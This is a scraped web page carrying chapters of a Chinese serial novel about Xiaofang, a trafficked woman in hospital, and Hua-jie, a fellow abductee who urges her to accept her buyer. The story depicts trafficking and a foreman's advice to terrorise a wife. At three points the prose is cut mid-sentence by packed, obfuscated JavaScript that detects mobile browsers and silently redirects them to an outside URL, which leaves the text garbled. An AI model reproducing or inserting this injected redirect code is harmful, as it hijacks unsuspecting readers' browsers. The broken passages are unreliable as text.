“我又怀上了!”她口气听不清忧还是喜,但认命的成分占大部头,“可以说三年抱俩,怎么回去?把孩子扔这里不管了?” 小芳心想:有孩子怎么了?只要我两条腿还跑得动,只要我人还活着心没死,无论怎样我都要跑出去,孩子怀了我就打!孩子生了,带得走我就带,带不走就留给和我生的带! 那女人开始向小芳恋恋地诉说起她的无奈和苦衷,不是她不想狠下心离开这里,是一切都为了孩子。 “放屁!”小芳无声地驳斥,她最反感这种人,自己做什么事都不坚定,做不成还把挑子撂别人头上,横竖他都是没错的,无论他做什么,责任都是别人的,尽管并没有人把刀架在他脖子上逼他这样做。 “所以啊,”女人持续向小芳发射她对生命不公的感慨,“我们女人就是有心软的毛病,一当妈一辈子都被套牢了。” 别把我和你归为同类,小芳用唇齿咬出一个个企图驳倒她又失声的字眼:“别把我和你这种脓包混为一谈,我为我们女人有你这样容易屈服的败类同胞感到耻辱!” 但嗓子由于缺乏水分,再有力像子弹的字眼,这一刻也只能遗憾成为臭火的哑弹。 女人又说:“其实他对我挺好的,不然我也不会认命认得那么心甘情愿......” 小芳也不间断地无声回答她,“你也晓得你是认命了?你这个女人的败类!要是当年干革命的队伍里,多出几个像你这种立场不坚定,容易被腐化的人,队伍早就被一锅端了!” “你不知道......” 小芳恶狠狠地动着嘴唇,“老娘不想知道!” 她还没感受到小芳的鄙视和轻蔑,她只把小芳当做一个在医院相逢的,可以倾吐的“天涯沦落人”。 她很戏剧腔地说:“我刚来的时候不吃不喝,我很强硬地跟他表示不放我走,你得到的就是一具尸体!” 小芳:“哟,看来你那时候还比较有种嘛!还有请不要说得如此造作,我已经被你故作浪漫的口吻激出一身鸡皮疙瘩了!” “结果有一天我人饿晕了,他就把我送进这家医院输液,打营养针,那几天他是马不停蹄、衣不解带地照顾我。”她还带点难为情地说,“女人嘛全身上下除了那儿处就剩心最软,我当时对他还是有点感动的,但我心里还是坚定地想要跑。” 小芳:“够了!别再说了!还用起成语来形容那买女人的畜生照顾你有多仔细了!你知不知道?在我听来你简直是在说一个人心甘情愿为人奴役的腐化史,你受过的有关自由与抗争的教育都到狗肚子里去了?!” 女人说:“出医院那天还是他把我背出去的,他问我还有没有精神,我没理他,他又带我到这县城里服装店去买了好些衣裳,款式那叫一个土哟,我嫌弃,一件不想要,他根本不明白等内地的时髦传到这里,够这里流行十年了!” 小芳:“少和我扯这些,这些衣服再土,你后来不也乐呵呵穿上了?口是心非说的就是你这种人,嘴里叫着土,身上没少穿!” 女人说:“然后他替我挑了几件,男人哪会挑衣服?他就问买衣服的,说要买最贵的,说我是城里来的,最贵的才配得上我!” 小芳:“一个要靠人fan子才能有老婆的男人,你他妈的还炫耀起来了?!你他妈的是见没见过男人?!” 女人笑了,那种被自家男人宠得没办法,宠得只能迁就男人宠她的笑,她说:“你看看,男人哪里会挑衣服?最后还是我受不了说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630288|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,‘你们这里的衣服放到内地放到沿海,送都没人要,凭什么还卖那么贵?欺负土包子?!’你没看见那卖衣服的,完全像个没见过世面的乡下佬,她肯定还以为她卖的那些衣服,走在流行前线!” 小芳恨自己一场感冒伤了嗓子,否则她真要好好开嗓跟这忘本的女人较量一番了:难道你不是从乡下来的?天生的城里人骂我们乡下佬就够不好受了,现在还多了你这种叛变的同胞,你这种人说不定就是骂得比城里人更厉害那撮,你以为你骂得越凶别人就越把你当城里人看?听听你那口乡音吧,那是你作为乡下佬的最有力证据! 女人躺着说累了,又站起来活动活动腰身,她穿的不是病号服也不是居家服,是她自己衣裳,红底白圆点的连衣裙,是最没有款式的那类款式。 她看起来应该被这边的男人养得不错,身体把宽身式样的连衣裙绷得起横纹,女性身体原本或丰满、或凌厉的曲线此刻都被她绷得一式圆熟,走一步颤动一下,薄薄的衣料时刻有绽线崩裂的危险。 小芳认为,她的体型至少被这件可怜的连衣裙缩小了两个号,一旦褪下,她全身被紧束的肉会雪崩似的散开。 小芳心里嗤笑她,你不是嫌这里不开化吗?那怎么你也像这里大多数女人一样肥圆壮实起来了?还有你难道不知道内地的女孩们早流行起“排骨精”身材了吗?什么叫“排骨精”,上衣一撩根根肋骨贴着皮!你早就土得无可救药,俗得病入膏肓了! 女人在病房里走动了一阵,她腿走动,手也不闲着,动动这里,碰碰那里,嘴上还和小芳继续道:“你来这里多久了?” 这句话不像之前她带着显摆的牢骚,有没人捧场都无所谓,这是句需要回答的话。 “啊?”她提醒小芳。 小芳依旧没说话,她说不出来话。 女人这才意识到,她刚才的长篇大论大概是冒犯了小芳,所以这才得到了小芳无礼的态度。 但她想错了,她把小芳的不回应理解成了女人间的嫉妒,是的,同样是被拐卖来的女人,待遇也是天差地别的,她觉得小芳此刻的一言不发就在于她们被卖后一个天一个地的差别待遇。 “妹子,你想开点!”她劝慰道,“我们摊上这事不也没选择的不是?你看看要是真嫁人,我们还有得选,嫁不嫁没谁敢绑着我们去,可被那些黑心肝的药到这里来有什么办法?他要是对你还不错,你别跟他犯拧。他要是对你不好,你更别犯拧,顺着他依着他,找准机会了跑出去,这里横竖不是我们地盘,我们人生地不熟的,跟他们硬,只有吃亏的份。” 她此刻这番话倒又比刚才真诚得多,一下削去不少小芳对她的糟糕印象,但小芳觉得她态度的转变还是在于她默认了自己过得比她糟,所以才高高在上地施舍点零星善意,要是自己也跟她同样被驯化了般炫耀起来,两个女人之间马上就只剩下熊熊妒火了。 “听姐姐的话,啊?”她摸了摸小芳额头,老资格起来,“你昨天被送进来,人都是昏的,他可着急了,看那样绝不可能对你没一点感情,男人嘛,你给他们点小甜头,就啥都顺了!” 小芳心里想:你还给我当起说客来了,有在我脸上摸来搞去的功夫,不如倒杯水给我更实在。 就在小芳要指指喉咙,示意女人给自己倒杯水时,病房的门开了,进来的是孙少华。 26. 孙少华 “诶?”隔壁床女人比小芳更快反应过来,“这不是昨天那一个呀?!” 小芳对自己的失语又侥幸又愤恨,侥幸是她无须向一旁的女人解释她和孙家两兄弟的关系,愤恨是由于她的无法解释,所以只能随孙少华去解释。 “妹子,”女人问小芳,“到底是昨天那个还是今天这个啊?” “哪个都不是!”小芳的喉咙因被她过度撕扯,弄出一道看不见的伤口,每发声一次,伤口发作的痛就警告她它的存在。 她刚才那声吐字不清的嚎叫让病房里安静了好会儿,那声嚎叫很难听,像哑巴的奇怪尖叫。 “你怎么了?”女人关心她,像个大姐姐那样把她抱在怀里。 在女人肉感十足的怀里,小芳想,也许她在确认自己和她有着相同的来路后,内心深处是真把自己当姐妹了,虽然她们萍水相逢产生的姐妹情并不十分纯粹,但有血缘的姐妹之间不也时常掺和点嫉妒、攀比、炫耀吗? 伍家村有姐妹的人家,在姐妹齐齐出嫁后,也少不了被村里人拿出来比较一番,无论是被人比较还是自己主动比较,两者都是天经地义的,她伍小芳自己在遇上小三儿的女友穗穗后,不也没忍住拿自己和穗穗比较了一番吗? 人的劣根性不能说你有,就不能要求别人没有,小芳此刻头枕在女人的大腿上,被她不住地抚摸着,一种女人之间年长者对晚辈的关爱和温情,让小芳即刻原谅了女人刚才的那番张扬,且贪恋起了女人给予的这份温暖。 她全身心都放在了女人身上,也就没注意到在她嚎叫一阵后立在门口站也不是,退也不是的孙少华。 孙少华脸上布满了伤心。 他很想告诉小芳自己在二弟那里得到她生病的消息后,马上就放下手里的活,匆匆请了假就跑来。 “家里老婆生病?”在施工队的队长看来,这是个多么可笑和窝囊的请假理由? 队长笑话了孙少华好久,言下之意是:“只有你这种三十岁才娶到老婆的男人才这么把老婆当回事!” 施工队队长揍老婆在整个队里是出了名的,他老婆被他当猪揍,就像他自己说的,“她长得跟头猪似的,还不准我揍了?” 孙少华跟队长请假的程序走得很顺畅,队长从来不是个喜欢在行动上耍官腔的人,他只会嘴巴说两句讨人厌的话。 他说:“少华,你这样不行啊,越是刚进门的媳妇越不能这样惯她,你要无缘无故地对她发发脾气,让她猜不到你下一次发脾气是啥时候,所以她无时无刻不在等着你发火,就这样你把她吓怕了,人就乖了。” 孙少华只笑了笑没言语,他不能和队长说,小芳是不吃你这一套的,惹恼了她,一把火能烧了你全家那个鳖窝。 而孙少华的笑却被队长认定为是男人耻辱,队长觉得怎么自己把驯服女人的秘籍都传授了,这小子还不开窍?他恨铁不成钢地说:“你那女人拿到我手里,屎我都得给她揍出来!” 这话实在太难听了,莫不说小芳不是他女人,就算是他女人,他也不该在外人面前把自己女人骂得如此不留情面。 孙少华始终认为,男人的老婆也是男人的一部分,别人在羞辱你老婆时也是在变相地羞辱你,真正尊重你的人会因为尊重你而尊重你的一切,而像队长这样对他说出没风度话的人其实并不太尊重他,并不太把他放在眼里。 孙少华老实厚道,从来是与人肯吃亏肯让步的性子,这次也有了想要与同类好好较量一番的冲动,他的拳头攥得紧紧的,且仍在不断加足马力,队长再出言不逊一次,这一拳头的力道会让队长在接下来很长一段时间说不出难听话,当然好听话也说不出。 这时队长嘴唇翕张,来了,孙少华想,他的拳头即将要找到发射出去的靶心了。 队长却大手一挥说:“赶紧滚,没出息的东西!别去耽搁太久,早点回来,今天我就不给你算请假扣钱。” 孙少华顿时全身一松懈,那力道十足,被他全身铁疙瘩肌肉运送至掌心的一拳像击中了他自己,把他整个人都击成弓腰驼背的姿|势。 队长笑着说:“得了,还给我鞠躬啊?” 险些酿成大错,他后怕地想,自己怎么就忘了,队长这人除了嘴臭点,其他哪点都是好的,哪次施工队的兄弟们干累了,不是队长请到干活地点附近的饭馆里吃饭?荤的素的,鲜的腌的,啤酒饮料哪次缺了他们?自己怎么就差点朝队长动手了呢? 孙少华脸上因懊恼浮现的颓丧,此时在队长看来无比脓包,做男人没出息这地步是十匹马都拉不回来的没救了,于是队长眼不见心不烦地催他走,又说:“你总有天要死在那女人手里。” 队长的这句话在不久后的一天,孙少华濒死之际,生平回忆如走马灯般闪过时会得到充分证实,他会感慨队长在自己和小芳的事上多么具备先见之明。 但现在,孙少华却站在病房门口,他身上很干净,来之前他甚至跑到县城的澡房洗了次快澡,顶着从施工队里带来的一身脏兮兮臭汗,小芳绝对不会想见到他。 但他没想到他顶着一身还带着肥皂味的干净整洁来,小芳是同样的不肯见他。 他认识到,小芳即使在病中也对他坚守着那份无情,管他干不干净,她不想看见的就是他这个人。 小芳的确不想看见他,两个次货里,如果让她必须做出选择,她情愿见到孙少康都不情愿见到他。 有两层原因,首先,人fan子是直接把自己卖给孙少华的,就冲这点,小芳对他的厌恶就不可逆地无法挽回了,孙少康至少是他弟弟,不是直接买下自己的人;其次,小芳不得不承认,作为男人,孙少康可比孙少华有意思太多,至少不会让她一点聊天欲|望都没有。 “兄弟!”还是抱着小芳的隔壁床女人主动站出来打破僵局,“傻站着干啥?进来做啊!” 她招呼孙少华进来坐另一张空床上。 小芳立马别过脸,把自己朝内地埋进女人肚子里。 “咋才来呢?”女人问他,有点像娘家人的质问。 “跟队里请了假过来的。”孙少华坐下低着头说,一双手跟做错事般,放哪里都摆得不是位置。 “你是我妹男人?”她问。 短短个多钟头,小芳就有了个姐姐了。 孙少华点点头也不意外,他们这里的女人都很实在,姐姐妹妹一场是不多功夫的事。 “那昨天把人送进来那个是谁?” “是我弟。”孙少华说,“他昨天把人送进来照顾了一晚,今天才抽出空来告诉我的,他已经回施工队上班了。” 女人说:“我还以为那个才是呢!没想到是你啊?你弟对嫂子可够好的!” 孙少华又点了点头。 小芳搞不懂这女人怎么又开始说些无关紧要的废话了?还有能不能先给她弄杯水来,刚才撕那一嗓子好像把喉咙给撕破了,跟空腔溃疡碰到辣椒一样火辣辣的痛。 女人又问:“你叫什么名字?”她拿出大姐大的范儿来。 “孙少华。”孙少华受训似的低声,那音量配他的大身板,小芳都替自己和他沾上关系难为情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630289|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >女人说:“少华,你叫我花姐就好了。” 孙少华果真叫了声“花姐”,恭恭敬敬的,真像把她当做了小芳的娘家人。 “少华,你老婆叫什么名字?” 小芳挣扎起来了,她妈的,这就是这叫花姐的女人给自己和孙少华定义的关系?她装作一副自己人的模样,原来要做的就是把自己同化掉。 花姐却按住小芳的挣扎,轻声说:“别动,我知道你不喜欢他,姐姐不会让你吃亏。” 不会让我吃亏?小芳心里叫道,在你嘴里说出我是他老婆的时候,你就已经让我吃了好大一记亏! “她叫小芳。”孙少华说。 狗|日的,要不是花姐把小芳按得死,她真要冲过去给孙少华一耳光,你倒是承认得顺口,老娘和你是领了证了还是办了仪式了?你他爷爷的一分钱没落到我身上,我还就成了你老婆了,呸,你就是花钱,老娘也不嫁给一头骡子! 花姐刚还客气的语气陡然就变了,犀利地质疑道:“你还好意思说我妹儿是你老婆啊?”她扯出小芳的两只手,轮番展示给孙少华看,“你睁大眼睛看,光秃秃的,你也好意思说他是你老婆?!” 花姐又把自己的手亮给孙少华看,那金灿灿的大戒指迎着照进病房的阳光,一点都不含蓄地对孙少华闪亮,亮得很像百货店里黑人牙膏徽标。 “你睁大眼看看我手上这个,要娶老婆实打实的硬物件能少?金子嘛,式样份量我们女人可以吃点亏不讲究,但你总不能没有啊?你有诚意嘛?你不会以为你请个假跑到病房来献两下殷勤,就叫诚意了吧?” 花姐一口市侩腔继续道:“不能拿来变钱的诚意,那都是他妈放屁!” “尤其是对于你们这种人!”她的手指在空中划过一道狠厉的弧度,像上学时老师一支粉笔扔向开小差的学生般威慑实足,足得孙少华脸都羞红了。 “我为什么说你们这种人,你好好想想,这么漂亮一个媳妇儿是怎么落到你手头的,总不至于是人家自己兴冲冲坐上火车,千里寻夫跑来找你的吧?还不是被和你们一伙的丧良心的人fan子给骗来、抓来、药来的!” 说得好,小芳在花姐的怀里,激动地点头赞同,在花姐身上小芳才发现,自己居然可以对一个人的立场动摇得这般没原则不。 “你要是和人家情投意合,两方你情我愿,没这些白的黄的就算了。现实是怎样?现实是人家给你当老婆之前,压根不认识你,人家都不认识你,你还不拿出点实际诚意来?” 花姐这样一说,小芳才醍醐灌顶地认识到自己吃了多大一记亏,在这之前,她还想着虽然自己是迟早要离开这里的,但对孙家兄弟,她想,他们待自己还是不差的,至少没硬上,没用拳脚来让女人屈服。 还是今天遇上花姐,她才才明白,让女人屈服的方式可不止大打出手那几招,甜言蜜语、糖衣炮弹都过时了,还是要真金白银,花姐就是这样才屈服的。 小芳自问自己会吗?但想到孙少华的脸,金的戒指,银的手镯都变得烫手了,他给你这些有个屁用?你人都是他的了,他给你的金银财宝还不变相地就是他自己的? 他不过是把这些买来放你这儿,定期向你支取利息,利息是什么? 这就是小芳比花姐聪明,或者说看得明白的地方。 买你来的男人把这些值钱玩意放你身上,你给他生儿育女、照顾老小,你给他准备的一日三餐、洗扫洒除就是他定期从你身上支取的利息。 小芳脑筋迅速想到这层,她不由得对自己生出一层敬佩来。 27. 花姐(一) 小芳在县城医院了住了两天院,就和花姐彻底混熟了。 花姐也同小芳一般,没出息栽男人身上,但她是受了情伤深夜买醉引出的祸根,讲出来到底比小芳体面些,虽然下场没差。 花姐打工的电子厂,有天来了个新员工,那时的花姐已经是个略有身份的小组长了,车间主任就把那新来的小伙子派到她手下,由她亲自教。 那新员工叫小舟,比花姐小两岁,是个俊后生,长得俊不算稀罕,这年头全国上下,四面八方都有人朝东南沿海几个省份涌来,帅哥美女还会缺? 这年头男人也同女人一般认识到,美貌是项不容浪费的资源,可以变现那就出卖美貌,变现不了,那么用它来骗骗几颗女人心也是划算的。 花姐栽就栽在,世面见了不少,美而自知,知而能利用的男男女女她见了不少,像小舟那样眉目清秀却笨拙羞涩的男孩,她是头一回。 十六岁兜里揣着三百块,提个蓝底白碎花拉链包,一身轻装就敢南下的花姐,潇洒的、老实的、风流的这类男人是拿不住她的,或者说不能被花姐拿住的。 花姐做女人做得很有一套,她总是能在两性关系选择难题的“我喜欢”和“喜欢我”中张弛有度,达到微妙平衡。 她炉火纯青的技术使她每次搞男女关系的对象都是她在自己可接受的最大范围里,挑出来的濒临极限男人,挑选时火候必须拿捏好,不然过轻或过重都会使这段脆弱的关系即刻破裂。 只念了五年小学就辍学的花姐,在社会这所学校中,学会了学院派的“控制变量法”。 花姐和小芳说:“完全喜欢你的不行,他那么喜欢你,你都没动心,说明你这颗心就不是为他准备的,除非钱给得实在是太多,不然世上男人几十亿,何必勉强自己受罪?” 小芳心里说:是的,逼我让孙少华做我男人,就是花姐你说的那种受罪。 花姐又说:“完全是你喜欢的也不行,你那么喜欢他,把一颗心都捧出去让他为所欲为了,这不就上赶着把自己卖了?” 说到这里,她和小芳都登时沉默了。 小芳就是这样把自己送给王国富卖了的,花姐也是同样招数把自己送给小舟,伤了心被坏种们卖了的。 十六岁就敢独身一人从西南跑到东南的花姐,世面见得再多也总有没见过的世面,小舟就是她没见过的。 小舟刚来厂里,手非常笨,笨得别人两分钟能搞定的,他至少要十分钟,换做别人,花姐早跟车间主任吵着闹着说教不了,不要了。 花姐在厂里是很会吵架的,她不像市井小民骂街那样讨人嫌,惹得人想抡她两巴掌让她闭嘴。 在厂里上班不会吵是不行的,男人的吵非常雄辩,雄辩胜于事实那种,只要他们认为自己足够占理,足够声高到淹没另一方,那么他们就吵出真理,吵出逻辑,吵出公正来了。 花姐当年在江苏所在的电子厂,几乎每个升职、加薪的男同事,都是靠吵吵出来的。 待在那里,你要是不会吵,或者看不起吵,那你就老老实实窝在原位窝一辈子,窝到退休,窝厂倒闭吧,不会吵的人就跟拉磨不会叫唤的骡马驴一样,别说粮,水都不给你多喝一口。 花姐身为女人,她的吵就比男人有看头得多了。 她通常是走到车间主任办公室,把主人对面的椅子挪开,也不往椅子上坐,就一只手撑着桌子,和主任面对面,眼望眼地亮起嗓子道:“啥子意思嘛!把这种事派在人家脑壳上,你还嫌人家事不够多啊?” 她那娇娇的一口抱怨,在年届四十姓包的车间主任听起来,完全是“我不管,你这次必须给人家做主!”,把他当青天大老爷主持公道的意思。 白胖胖的包主任便立马放下手头的事,假装公事公办地奓起个脸:“小花,你这样就不像话了,进主任办公室,门都不敲一下!” “怎么了嘛!”花姐一张被江南水土养得细嫩的脸蛋耍起无赖来,“有见不得的人秘密啊?!” “胡说八道!”包主任假惺惺地唬起来,“你不晓得最近厂里在严查作风问题?你这样莽里莽撞,人家不把我们误会了?” “主任你说!人家误会我们啥子了嘛?”她先撒的泼,她倒先委屈起来,“人家一个姑娘从那么远的深山老林里跑你们这儿来,还要被你们这些城里人乱七八糟编排一通!” 说到这里,眼眶里蕴起一团白雾,泪汪汪地表达苦楚:“人家是外地妹儿,这事你不给人家做主,就没人给人家做主了!” 包主任吃不消了,或者该说,年轻女孩的眼泪换哪个中年男人来都吃不消。 这时候他会把纸放在花姐面前,又是凶又是哄地说:“老板给我置的办公室倒是置来听你们上访了!” 花姐扯张纸细细擦着自己来时就预备在泪腺里,随时准备启用的眼泪,又哭又笑道:“主任,你不晓得你是我们车间的包青天啊!” “我哪里比得上包青天?”包主任嘴里否认,脸上受用。 花姐说:“主任,你该说包青天哪里比得上你,包青天哪像您一样,人到中年了还跟个白净书生似的!” 一般话打情骂俏到这儿了,花姐的什么问题,包主任都会替她解决了。 花姐是心里有数的人,她找谁解决问题,找的都是能解决她问题的,不能解决她问题的,她才懒得去和对方卖一场笑,做一场戏。 厂里的女孩子尤其是外地女孩,要是长得不差,大多遇上不公正的事都是这样解决的。 隔壁车间的刘主任,每次给一群年轻女孩放过后,就会得到这样的夸赞:“刘主任还当真是牛主任哟!” 肯定会有人骂她们这些外地妹儿不讲廉耻不要脸,头发秃成地中海的中年男人她们也能厚起脸皮讨巧卖乖,但外地妹儿们才不放心上。 外地妹儿们对本地人重视的尊严不太重视,她们要是一开始就秉着“尊严”的态度,何必从老家跨越上千公里来别人的地盘揾食? 她们其中一些人甚至轻视尊严,她们的人生经验告诉她们,如果全身上下豁出尊严这种无实感的东西遭点罪,其他有实感的部位就能免罪了,那么就随尊严去遭罪吧! 花姐这次却没去再麻烦包青天,别误会,她还不至于这么快就昏头爱上这个小自己两岁,喊自己“花姐姐”的男孩了。 她是真对这男孩有种大姐姐式的关爱和心疼。 包主任对年轻男孩可不是包青天,他的青天大老爷形象是限定特供的,女人都还有严格限制呢,更别说男人了,小舟这张老半天吐不出半个字的嘴,能把包主任急死! “你这样弄!”花姐教他,“按你那办法来,又笨又费劲!” “花姐姐,”小舟呆笨笨地说,“可是车间的操作指导书就是这样写的啊。” “真笨,”花姐嗔怪地骂他,“是你教我还是我教你?你还做起我师傅来了?我为什么能当小组长?干得又快又好才是首要!” “可是......”小舟垂死挣扎。 “你一个大男人的哪有那么多这是那是?你来这里不就是为了挣钱?能把事儿干完,把每个月工资拿到手?听我的会害了你?!” 花姐是真把小舟凶到了,一凶完,他腔也不敢开,气也不敢出,上手怎么做怎么错。 “哎哎哎!”花姐按住他手,好冰凉的一双手呀,这么热的天,这要不是一双人手,她都想揣怀里驱热纳凉。 “你手怎么那么冰?”她顾不上责骂他了,她现在能做的是关心他。 小周唇都咬白了,额头上细细密密的冷汗,跟冰矿泉水瓶外壁那层水珠似的。 “糟了!”花姐叫一声,“这娃儿中暑了!” 花姐把小舟扶到厂里的医务室后,叮嘱了医生几句,说这是她弟,喊医生多照看哈。 那医生是女的,姓黄,平时也和花姐打闹惯了,关系处得不错,有个小病小痛什么的来医务室拿药基本不收花姐钱。 花姐就是这么有本事,作为异乡人,她能把能利用的关系,无论大小,全都利用到极致。 “是你弟啊?”黄医生在医务室口罩也不好好戴,戴了就浪费她花半天才画出来的精致妆容。 “啊,是我弟。”花姐说, 黄医生把她柳眉杏眼的脸从桌上摆放的镜子前挪出来看花姐。 她当然那不信花姐的话,“是你哪门子弟哟?”她开玩笑道,“你刚来的时候,我记得厂里也有人说你是他花妹妹,现在你辈分都上到花姐姐了呀!” 黄医生的话不是没考据的。 厂里的人际关系多少带点不正经。 想想看,那么多青春男女,年少离家出门打工,上千颗无处安放的心多么寂寞?多么不安分?天南海北那么多颗跃跃欲动、气血上涌的心凑到密闭的厂里,你挨我我挤你,平日打情骂俏,喊声哥哥妹妹,姐姐弟弟的也不算稀奇事。 “老黄!”花姐这次是认真了,“这娃儿应该是中暑了,你赶紧看看!” 黄医生这才把她高跷二郎腿的脚放下,走到坐医务室长椅的小舟身边。 她那双保养得当的手,在小舟脸上翻翻他下眼皮,捏捏两腮看口腔,动作哪像个医生?活像青|楼老|鸨看姑娘。 “够了哈,”花姐正经道,“喊你看病人,你还吃起豆腐来了!” “你吃得,我吃不得?”黄医生把手放下,她是真不着急,厂里每天都会有中暑的人被送进医务室来,没哪次死过人的。 花姐急了,“你要是你吃新鲜的啊!他都在这儿蔫巴,你还要吃稀豆腐?” “不要着急嘛,死不了的。”黄医生上手把小舟的工作服领子解开,好帮他促进体内血液循环,加快散热。 她又指挥花姐道:“你去食堂看看,有没有绿豆汤什么的给他弄一碗来,我去把毛巾打湿给他敷敷。” 说完,黄医生就去把她的专用立地风扇搬来对着小舟摇头晃脑地吹。 等花姐从食堂提着绿豆汤回医务室时,小舟意识已经汇拢,只不过人还是有点难受。 她在食堂打包了三碗绿豆汤回来,一人一碗。 黄医生笑着说:“还想着我啊?治病救人不是该我做的,还劳你破费!” 花姐把塑料勺子扔给她说:“吃你的!” 黄医生端着她那碗绿豆汤坐回桌旁椅子上,她是一点白衣天使的庄重都没有,屁|股一沾椅子,一只脚势必要跷另一只脚上,鞋也不好好穿,在医务室她也要穿那种红皮高跟凉拖。 她的两只脚形状很漂亮,比她精心上妆的脸更具女人味,高跷的那只脚红皮鞋的跟从她脚后跟处脱落下来,只剩鞋尖虚虚地套着脚,就这样她脚还要一晃一晃的,让那鞋随时有掉落下来的风险。 红皮高跟拖鞋和她的白色制服,在医务室形成最富张力的色彩对比,黄医生大胆的装扮给从来以纯洁善良、救死扶伤示人的白衣天使增添了一丝情|欲意味。 从她身上你发现了,红色与医护人员的搭配不一定是鲜血染上的壮丽,而可以是一双红皮高跟鞋带来的艳丽。 午后只能听见喝绿豆汤声的医务室,突兀地传来“嗒”的一声,是黄医生的高跟鞋落到了地板上,她不当回事儿,只专注喝绿豆汤。 花姐和小舟就看见她那只漂亮白润的脚用脚尖着地,慵懒地在地板上四处点足,碰到她的鞋了,又套上去,又继续新一轮的晃悠。 花姐把头一转,坐她身边的小舟已经看入迷了,一勺绿豆汤就停在嘴边,忘了往嘴里送。 她心里忽然不好过起来,不是她对小舟有了占有欲。 小舟这种嫩巴巴,没开过荤的小男孩是不对她胃口的。 她理想的另一半是比她大十岁左右,不需要太多情人的浪漫,只需要能像个长辈那样爱她呵护她就够了,作为家中最大的孩子,花姐实在是呵护家里小辈呵护够了,她也想尝尝被人呵护的滋味。 十六岁单枪匹马,南下打工的花姐,有着大女人坚韧不拔的毅力,同样她也有着小女人渴望依赖男人,受男人保护的小女儿情怀。 那此刻花姐心里这阵不好过是怎么回事呢? 她想,大概是自己把人送进医务室来,这小子还没想起谢她一句,就盯着别的女人一双脚痴起来了。 但后来她想,当时的自己大概也有那么点微微的嫉妒吧?人家只用一双脚就把你平日对一个男孩的悉心照料在他心里全不作数地抹去了。 两口喝完绿豆汤,花姐把打包的纸碗扔进垃圾桶里,对黄医生说:“老黄,我先回工位上去了,这孩子你看着点。” “死不了!”黄医生头也不抬地说,“你不如就陪他在这里坐着,待会儿一起回去,你们那车间热死个人,你在我这儿坐着歇歇凉不行啊?” “被抓着了扣工资怎么办?”花姐问。 黄医生好看的红唇花瓣一样的绽放开来,饱满而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630290|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇媚,“去找你们包青天吵啊!你以为我不晓得,老包是巴不得你们这群年轻姑娘天天有人上门来同他吵,天天闹着要他办公道!” “但别太过火?”她柔媚地夹夹眼,“万一哪天人家老婆找上门来要公道就麻烦了。” “我们能有什么办法?”花姐不管黄医生是调笑还是正常的同事打趣,她颇无赖地说,“我们这群外地妹儿又不像你们本地人,一言不合,转头就走,气狠了还大打出手,你们在当地有个家可以回,我们回哪儿去?回老山窝窝啊?!爹妈就巴不得跑出你一个,出息了能把剩下那几个全带出去!” “嫁个我们本地的嘛!老花,”黄医生两只脚也放规矩了,诚心实意地说,“你们外地来的又不是没有嫁我们这边男人留下来的,你是比她们难看还是比她们笨,人家都能嫁,你不能?” “说得好听!”花姐说,“人家瞧不起你,天天给你脸色看,你心头好过?” 黄医生说:“老花,那就不看他们的脸嘛!” 后面两个人的谈话,黄医生都是见招拆招地对付花姐提出的每一个难题,本来在自己车间很泼辣十足的花姐,今天到了黄医生面前倒像个嫩生生的黄花大闺女了。 在医务室休息了两个钟头,花姐带着小舟回了车间。 “好点没有?”花姐问他。 “好多了,谢谢你,花姐姐。”小舟说。 “我看你是早好了,喝什么绿豆汤,盯着人家一双脚看,你啥子病都好全了!” 说完花姐就后悔了,怎么还拈酸吃醋起来了,这种小家子行为,平日她最不屑做。 小舟腼腆的脸蛋儿比中暑最难受那会儿还红。 看她脸红,花姐兴致却来了,一个劲地对他围追堵截,“没想到啊,你小子喜欢这一款,你吃得消吗?” “讨厌!”小舟第一次在花姐面前说出不尊敬的话,说完就跑开了。 花姐看着他匆匆逃去的背影,气也消了。 她想孩子就是孩子,也许黄医生的形象就是每个男孩子在少年时期的性启蒙对象,他们在那个时期的梦里就把这类成熟风情的女人给温习熟了。 没几天花姐就把这桩事给忘了,她每天的事多着呢,一个偶尔吃小醋事件要是也能在她心里搁许久,那么她花姐就甭想刚到厂里第一年就当上小组长了。 花姐对任何让她愉快或者不愉快的事都十分看得开,看得淡。 于她而言,只有每月月底到手的工资才是实打实的,其他都是调味品,吃的当时饱饱口福就行了,过了她就忘了。 小舟仍然放在花姐手下,那小子这段时间被她训练一阵,跟开窍了似的,数量和质量都跟了上来,再过两天,新员工考核一过就能独挡一面了。 新员工考核前一天,小舟去食堂买了两份盒饭还有当季水果,跑去花姐的宿舍楼下,让女同事把花姐叫出来。 女人住一堆也和男人一样,爱开油荤,那个被小舟麻烦的同事兴冲冲地朝花姐喊:“你那小徒弟买起饭了,在楼下等你,要和你约会!” 她们这群过去土气的乡下女孩,来这里后也学着城里人说“约会”。 